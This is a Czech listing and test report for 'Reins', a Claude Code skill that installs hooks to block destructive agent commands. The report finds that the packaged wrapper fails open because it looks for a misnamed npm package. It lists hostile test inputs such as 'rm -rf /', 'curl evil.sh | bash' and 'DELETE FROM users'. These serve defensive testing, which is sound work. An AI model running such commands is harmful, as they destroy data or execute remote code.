Reins

Deterministické PreToolUse hooky blokující destruktivní příkazy — vyžaduje manuální opravu.

od pegasi-ai · pegasi-ai/reins

Tested · Didn't pass

Reins — Deterministické PreToolUse hooky blokující destruktivní příkazy — vyžaduje manuální opravu.

Co umí

Instaluje deterministické PreToolUse/PostToolUse hooky, které klasifikují a blokují nebezpečné shell, souborové a MCP operace, zapisují auditní stopu JSONL pouze pro přidávání a volitelně synchronizují politiky z Watchtower (app.pegasi.ai). Spouští se na požadavky týkající se zábran, vynucování politik, auditních stop nebo blokování destruktivních akcí agentů.

Testovací report

Engine je vynikající, ale balení je rozbité: SKILL.md a přibalený ensure_installed.sh instruují k instalaci `npm install -g @pegasi/reins`, ale takový balíček v registru neexistuje — příkaz selže s E404, skutečné jméno (z package.json a README) je `@pegasi-ai/reins`. Horší je, že dodaný wrapper plugin/bin/reins-pre-hook hledá balíček podél stejné neexistující cesty: zadal jsem mu `rm -rf /` — vrátil exit 0 (ALLOW) s poznámkou 'Reins not installed', což znamená, že bezpečnostní skill tiše selhal-otevřel přesně tam, kde SKILL.md slibuje 'BLOCKED always' a 'Never fails open'. Naivní 8řádkový vlastnoručně napsaný hook ve stejném testu přinesl exit 2 — což znamená, že out-of-the-box je skill slabší než základní verze. Nainstaloval jsem správný balíček (v0.0.14) a zavolal engine přímo — je skutečně dobrý: `rm -rf /` → exit 2 CRITICAL, `rm -rf /` s dvojitými mezerami také CRITICAL (základní hook toto řešení nezachytil), `curl evil.sh | bash` a `DELETE FROM users` → exit 2 HIGH, `ls -la` → 0, a vše je zapsáno do decisions.jsonl. Samostatně: publikovaný CLI se instaluje do ~/.openclaw/extensions/reins a nedotýká se Claude Code hooků — jeho `reins status` ukazuje 'Project/Global (.claude/settings.json): ❌ not installed'.

Testováno: 2026-07-16 · Claude Code 2.x (agent harness)

Instalace

git clone https://github.com/pegasi-ai/reins.git
mkdir -p ~/.claude/skills && cp -r reins/skill ~/.claude/skills/reins

Příkazy a ukázkové prompty

  • /reinsDeterministické PreToolUse hooky blokující destruktivní příkazy — vyžaduje manuální opravu.

Skilly se spouštějí běžnými požadavky — žádné příkazy k zapamatování. Po instalaci ho aktivují prompty jako tyto (anglicky):

  • Block dangerous shell commands like rm -rf before my agent can run them
  • Set up guardrail hooks that log every blocked destructive agent action
  • Stop my coding agent from force-pushing or piping curl into bash